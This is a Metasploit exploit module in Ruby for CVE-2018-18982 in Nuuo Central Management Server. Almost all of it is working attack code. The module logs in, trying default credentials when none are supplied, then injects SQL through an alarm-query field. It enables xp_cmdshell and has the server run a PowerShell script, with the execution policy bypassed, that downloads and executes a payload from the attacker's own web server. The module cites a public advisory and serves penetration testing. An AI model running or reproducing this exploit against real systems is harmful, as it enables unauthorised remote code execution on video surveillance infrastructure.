##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework.

# The following versions were tested:
# - 1.5.2 OK
# - 2.1.0 OK
# - 2.3.2 OK
# - 2.4.0 OK
# - 2.6.0 OK
# - 2.9.0 OK
# - 2.10.0 OK

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::Nuuo
  include Msf::Exploit::Remote::HttpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Nuuo Central Management Authenticated SQL Server SQLi",
      'Description'    => %q{
      The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.
      This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is
      installed by default, xp_cmdshell can be enabled and abused to achieve code execution.
      This module will either use a provided session number (which can be guessed with an auxiliary
      module) or attempt to login using a provided username and password - it will also try the
      default credentials if nothing is provided.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2018-18982' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]

        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Stance'         => Msf::Exploit::Stance::Aggressive,          # we need this to run in the foreground
      'Targets'        =>
        [
          [ 'Nuuo Central Management Server <= v2.10.0', {} ],
        ],
      'Privileged'     => false,                  # we run as NETWORK_SERVICE
      'DisclosureDate' => "Oct 11 2018",
      'DefaultTarget'  => 0))
    register_options(
      [
        Opt::RPORT(5180),
        OptInt.new('SLEEP', [true, 'How long to wait for the payload download', '15']),
      ])
  end


  def inject_sql(sql, final = false)
    sql = ["GETOPENALARM","DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
    if final
      send_msg_async(sql)
    else
      send_msg(sql)
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
      print_error("A request came in, but the payload wasn't ready yet!")
      return
    end
    print_good("Sending the payload to CMS...")
    @exe_sent = true
    send_response(cli, @pl)
  end

  def create_hex_cmd(cmd)
    var = rand_text_alpha(2)
    hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x"
    cmd.each_byte { |b|
      hex_cmd << b.to_i.to_s(16)
    }
    hex_cmd << "; exec (@#{var})"
  end

  def exploit
    login

    if @session == nil
      fail_with(Failure::Unknown, "Failed to login to Nuuo CMS")
    end

    downfile = rand_text_alpha(8+rand(8))
    @pl = generate_payload_exe
    @exe_sent = false
    resource_uri = '/' + downfile

    #do not use SSL
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
    print_status("Starting up our web service on #{service_url} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => resource_uri
    }})

    datastore['SSL'] = true if ssl_restore

    # we need to roll our own here instead of using the MSSQL mixins
    # (tried that and it doesn't work)
    print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
    filename = rand_text_alpha_lower(rand(8) + 2) + ".exe"
    download_pl = %{xp_cmdshell 'cd C:\\windows\\temp\\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "#{service_url}" >> wget.ps1 && echo $file = "#{filename}" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}

    print_status("Injecting PowerShell payload")
    inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))

    counter = 0
    while (not @exe_sent || counter >= datastore['SLEEP'])
      sleep 1
      counter += 1
    end

    if not @exe_sent
      fail_with(Failure::Unknown, "Could not get CMS to download the payload")
    end

    print_status("Executing shell...")
    inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{filename}\""), true)
    handler
  end
end
